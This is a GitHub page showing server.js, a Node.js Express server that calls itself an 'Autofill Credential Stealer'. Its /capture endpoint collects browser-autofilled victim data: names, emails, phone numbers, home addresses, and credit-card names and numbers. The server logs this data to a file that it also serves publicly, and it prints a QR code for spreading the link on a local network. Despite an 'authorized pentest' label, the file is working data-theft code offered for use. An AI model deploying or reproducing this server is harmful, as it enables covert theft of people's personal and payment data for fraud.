-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathserver.js
More file actions
101 lines (85 loc) · 3.43 KB
/
Copy pathserver.js
File metadata and controls
101 lines (85 loc) · 3.43 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
const express = require('express');
const fs = require('fs');
const path = require('path');
const os = require('os');
const ip = require('ip');
const qrcode = require('qrcode-terminal');
const app = express();
app.use(express.json({ limit: '10mb' }));
app.use(express.static(__dirname));
app.use(express.urlencoded({ extended: true }));
// 🔥 NETWORK CONFIG
const PORT = 3000;
const localIP = ip.address() || 'localhost';
const BASE_URL = `http://${localIP}:${PORT}`;
const logFile = path.join(__dirname, 'pentest-logs.txt');
// Init log file
if (!fs.existsSync(logFile)) {
fs.writeFileSync(logFile, 'AUTHORIZED PENTEST LOGS\n' + '='.repeat(80) + '\n\n');
}
const recentCaptures = new Map();
// Rate limiting
app.post('/capture', (req, res) => {
const clientIP = req.ip.replace('::ffff:', '') || req.connection.remoteAddress;
const now = Date.now();
if (recentCaptures.has(clientIP) && (now - recentCaptures.get(clientIP)) < 3000) {
return res.json({ status: 'blocked-duplicate' });
}
recentCaptures.set(clientIP, now);
const data = req.body;
const timestamp = new Date().toLocaleString('en-IN', {
timeZone: 'Asia/Kolkata', dateStyle: 'full', timeStyle: 'long'
});
// CONSOLE OUTPUT
console.clear();
console.log('🔥 Autpfill Credential Stealer! 🔥');
console.log('=' .repeat(80));
console.log(`🕒 ${timestamp}`);
console.log(`🌐 Victim IP: ${clientIP}`);
console.log(`📱 User-Agent: ${req.headers['user-agent']?.substring(0, 50)}...`);
console.log('');
console.log('👤 IDENTIFIERS:');
console.log(` Name: ${data.name || 'N/A'}`);
console.log(` Email: ${data.email || 'N/A'}`);
console.log(` Phone: ${data.tel || data['tel-national'] || 'N/A'}`);
console.log(` Org: ${data.organization || 'N/A'}`);
console.log('\n🏠 LOCATION:');
console.log(` Street: ${data['street-address'] || 'N/A'}`);
console.log(` Area: ${data.locality || data['address-level2'] || 'N/A'}`);
console.log(` City/State: ${data['address-level1'] || data.region || 'N/A'}`);
console.log(` PIN: ${data['postal-code'] || 'N/A'}`);
console.log(` Country: ${data.country || 'N/A'}`);
console.log('\n💳 FINANCIAL:');
console.log(` CC Name: ${data['cc-name'] || 'N/A'}`);
console.log(` CC Number: ${data['cc-number'] || 'N/A'}`);
console.log('\n📊 FIELDS CAPTURED: ' + Object.keys(data).length);
console.log('=' .repeat(80));
console.log(`${BASE_URL}`);
// FILE LOGGING
const logEntry = `[${timestamp}] [${clientIP}] ${JSON.stringify(data, null, 2)}\n\n${'-'.repeat(80)}\n`;
fs.appendFileSync(logFile, logEntry);
res.json({ status: 'captured', url: BASE_URL, fields: Object.keys(data).length });
});
// Status endpoint
app.get('/status', (req, res) => {
res.json({
server: BASE_URL,
ip: localIP,
port: PORT,
logs: `${BASE_URL}/pentest-logs.txt`
});
});
app.listen(PORT, '0.0.0.0', () => {
console.clear();
console.log('🚀 SERVER ACTIVE');
console.log('=' .repeat(80));
console.log(`📡 SERVER URL: ${BASE_URL}`);
console.log(`🌐 LAN IP: ${localIP}:${PORT}`);
console.log(`📱 Share this URL with devices`);
console.log('');
console.log('📊 Status: ' + BASE_URL + '/status');
console.log('📁 Logs: ' + BASE_URL + '/pentest-logs.txt');
console.log('');
qrcode.generate(BASE_URL, { small: true });
console.log('=' .repeat(80));
});